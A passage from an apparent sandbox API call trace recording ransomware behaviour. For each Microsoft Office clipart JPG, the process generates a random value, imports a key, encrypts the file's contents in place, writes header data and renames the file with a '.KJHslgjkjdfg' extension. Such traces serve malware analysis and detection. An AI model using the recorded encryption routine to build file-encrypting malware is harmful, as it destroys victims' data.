nFileSizeHigh=0x0, nFileSizeLow=0xa91e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386267.JPG", cAlternateFileName="")) returned 1 [0214.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.124] GetProcessHeap () returned 0x2ef0000 [0214.124] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.124] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.124] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0214.128] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.128] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.128] GetProcessHeap () returned 0x2ef0000 [0214.128] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.128] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.128] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.128] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.128] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.128] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.128] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.129] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.129] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.129] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.129] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa91e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa91e, lpOverlapped=0x0) returned 1 [0214.131] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa920, dwBufLen=0xa920 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa920) returned 1 [0214.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.131] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa920, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa920, lpOverlapped=0x0) returned 1 [0214.132] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.132] SetEndOfFile (hFile=0x130) returned 1 [0214.135] GetProcessHeap () returned 0x2ef0000 [0214.135] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.135] GetProcessHeap () returned 0x2ef0000 [0214.135] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.kjhslgjkjdfg")) returned 1 [0214.137] CloseHandle (hObject=0x130) returned 1 [0214.137] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b43, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386270.JPG", cAlternateFileName="")) returned 1 [0214.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.140] GetProcessHeap () returned 0x2ef0000 [0214.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.140] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.140] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0214.141] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.141] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.141] GetProcessHeap () returned 0x2ef0000 [0214.141] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.141] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.141] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.141] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.142] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.142] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.142] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.142] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.142] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.142] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.143] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3b43, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3b43, lpOverlapped=0x0) returned 1 [0214.143] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3b50, dwBufLen=0x3b50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3b50) returned 1 [0214.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.144] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3b50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3b50, lpOverlapped=0x0) returned 1 [0214.144] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.144] SetEndOfFile (hFile=0x130) returned 1 [0214.146] GetProcessHeap () returned 0x2ef0000 [0214.146] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.146] GetProcessHeap () returned 0x2ef0000 [0214.146] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.146] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.kjhslgjkjdfg")) returned 1 [0214.148] CloseHandle (hObject=0x130) returned 1 [0214.148] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x396a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386485.JPG", cAlternateFileName="")) returned 1 [0214.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.149] GetProcessHeap () returned 0x2ef0000 [0214.149] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.149] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.149] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0214.151] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.151] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.151] GetProcessHeap () returned 0x2ef0000 [0214.151] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.151] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.151] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.151] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.151] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.152] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.152] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.152] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.152] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.152] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.152] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x396a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x396a, lpOverlapped=0x0) returned 1 [0214.154] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3970, dwBufLen=0x3970 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3970) returned 1 [0214.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.154] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3970, lpOverlapped=0x0) returned 1 [0214.154] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.155] SetEndOfFile (hFile=0x130) returned 1 [0214.157] GetProcessHeap () returned 0x2ef0000 [0214.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.157] GetProcessHeap () returned 0x2ef0000 [0214.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.kjhslgjkjdfg")) returned 1 [0214.159] CloseHandle (hObject=0x130) returned 1 [0214.159] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x693e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386764.JPG", cAlternateFileName="")) returned 1 [0214.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.160] GetProcessHeap () returned 0x2ef0000 [0214.160] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.160] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.160] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0214.163] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.163] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.163] GetProcessHeap () returned 0x2ef0000 [0214.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.163] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.163] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.164] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.164] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.164] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.164] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.164] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.165] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.165] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.165] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x693e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x693e, lpOverlapped=0x0) returned 1 [0214.166] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6940, dwBufLen=0x6940 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6940) returned 1 [0214.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.167] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6940, lpOverlapped=0x0) returned 1 [0214.167] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.167] SetEndOfFile (hFile=0x130) returned 1 [0214.169] GetProcessHeap () returned 0x2ef0000 [0214.169] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.169] GetProcessHeap () returned 0x2ef0000 [0214.169] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.kjhslgjkjdfg")) returned 1 [0214.171] CloseHandle (hObject=0x130) returned 1 [0214.171] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387337.JPG", cAlternateFileName="")) returned 1 [0214.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.172] GetProcessHeap () returned 0x2ef0000 [0214.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.172] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.172] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, 